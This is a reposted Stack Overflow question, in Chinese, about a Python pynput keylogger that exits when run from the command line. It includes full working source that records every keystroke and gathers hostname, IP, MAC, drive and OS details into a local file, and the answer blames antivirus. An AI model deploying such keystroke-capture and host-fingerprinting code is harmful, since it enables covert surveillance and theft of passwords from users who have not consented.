gpt4 book ai didi

Python 键盘记录器 - 从 CMD 执行时不保持键盘监听器打开

转载 作者:太空宇宙 更新时间:2023-11-03 20:25:13 24 4
gpt4 key购买 nike

开始之前...

我对 Python 还很陌生,任何帮助或见解都非常棒。

这不是恶意键盘记录程序,也不是病毒,我的公司将使用它来监控网络 PC,仅用于安全目的。它不发送日志并将文件存储在本地。它不会试图保持隐藏。我是一名企业程序员,没有恶意。用户将意识到击键正在受到监视,并且日志存储在用户的主目录中。

我的 Python 在 IDLE 编辑器中运行得非常好,符合预期。但是,从命令行运行代码后,它不会继续执行并且脚本退出。

我尝试将我的代码逐行移植到不同的工作版本,删除任何额外的内容。添加单个换行符或导入似乎会完全破坏脚本。

以下代码有效,执行后不会退出。它继续记录并按预期工作。当从 CMD 运行时,进程保持打开状态:


from os.path import expanduser
home = expanduser("~")

from pynput.keyboard import Key, Listener
import logging
log_dir = r"{}/".format(home)
logging.basicConfig(filename = (log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()

但是下面的代码执行后不会继续记录日志并且程序退出:


from pynput.keyboard import Key, Listener
import time
import os
import random
import requests
import socket
import platform
import win32api
import wmi
import urllib.request
import logging

from os.path import expanduser
homeDir = expanduser("~")

SystemType = platform.system()
SystemArchitecture = platform.machine()
SystemPlatform = platform.platform()
SystemProcessor = platform.processor()
VolumeInformation = win32api.GetVolumeInformation("C:\\")
HostName = socket.gethostname()
SystemWMI = wmi.WMI()

publicIP = requests.get('https://api.ipify.org').text
privateIP = socket.gethostbyname(socket.gethostname())
user = os.path.expanduser('~').split('\\')[2]
datetime = time.ctime(time.time())

file = open(homeDir + "\logger.txt", "w+")

file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

print("Hostname: " + HostName)
file.write("Hostname: " + HostName + "\n")

print("User: " + user)
file.write("User: " + user + "\n")

print("Public IP: " + publicIP)
file.write("Public IP: " + publicIP + "\n")

print("Private IP: " + privateIP)
file.write("Private IP: " + privateIP + "\n")

for interface in SystemWMI.Win32_NetworkAdapterConfiguration (IPEnabled=1):
print("MAC Address: " + interface.MACAddress)
file.write("MAC Address: " + interface.MACAddress + "\n")
print("Interface Description: " + interface.Description)
file.write("Interface Description: " + interface.Description + "\n\n")

print()
file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

if(SystemType == "Windows"):
print("System Type: " + SystemType)
file.write("System Type: " + SystemType + "\n")

print("System Architecture: " + SystemArchitecture)
file.write("System Architecture: " + SystemArchitecture + "\n")

print("System Platform: " + SystemPlatform)
file.write("System Platform: " + SystemPlatform + "\n")

print("System Processor: " + SystemProcessor)
file.write("System Processor: " + SystemProcessor + "\n\n")

DriveList = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
ActiveDrives = ['%s:' % d for d in DriveList if os.path.exists('%s:' % d)]

DRIVE_TYPES = {
0 : "Unknown",
1 : "No Root Directory",
2 : "Removable Disk",
3 : "Local Disk",
4 : "Network Drive",
5 : "Compact Disc",
6 : "RAM Disk"
}

print()
file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

print("Drives In Use: ")
file.write("Drives In Use: \n")

print(ActiveDrives)
file.write(str(ActiveDrives) + "\n\n")

print()
file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

print("Drive Types: ")
file.write("Drive Types: \n\n")

for drive in SystemWMI.Win32_LogicalDisk ():
print(drive.Caption, DRIVE_TYPES[drive.DriveType])
file.write(drive.Caption)
file.write(DRIVE_TYPES[drive.DriveType] + "\n")

print()
file.write("\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

print("C:\\ Volume Information")
file.write("C:\\ Volume Information: \n")

print(VolumeInformation)
file.write(str(VolumeInformation) + "\n\n")

print()
file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

print("OS Instance Information: ")
file.write("OS Instance Information: \n")

for os in SystemWMI.Win32_OperatingSystem():
print(os)
file.write(str(os) + "\n")

print()
file.write("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n")

print("Logging keystrokes...")
file.write("Logging keystrokes...\n\n")

file.close()

log_dir = r"{}/".format(homeDir)
logging.basicConfig(filename = (log_dir + "logger.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
print(key)
logging.info(str(key))

with Listener(on_press=on_press) as listener:
listener.join()


即使向工作版本添加单个导入也会破坏它。没有抛出异常。

代码预计在执行后继续记录击键,但退出时没有任何错误代码。它在 IDLE 中按预期工作,并继续记录直到 IDLE 关闭。但是,当从 CMD 运行时,它会在输出“记录击键...”后立即关闭。

帮忙?

最佳答案

经查明,是电脑上的防病毒软件导致程序崩溃。这从一开始就正常工作并且符合预期。

关于Python 键盘记录器 - 从 CMD 执行时不保持键盘监听器打开,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/57878268/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com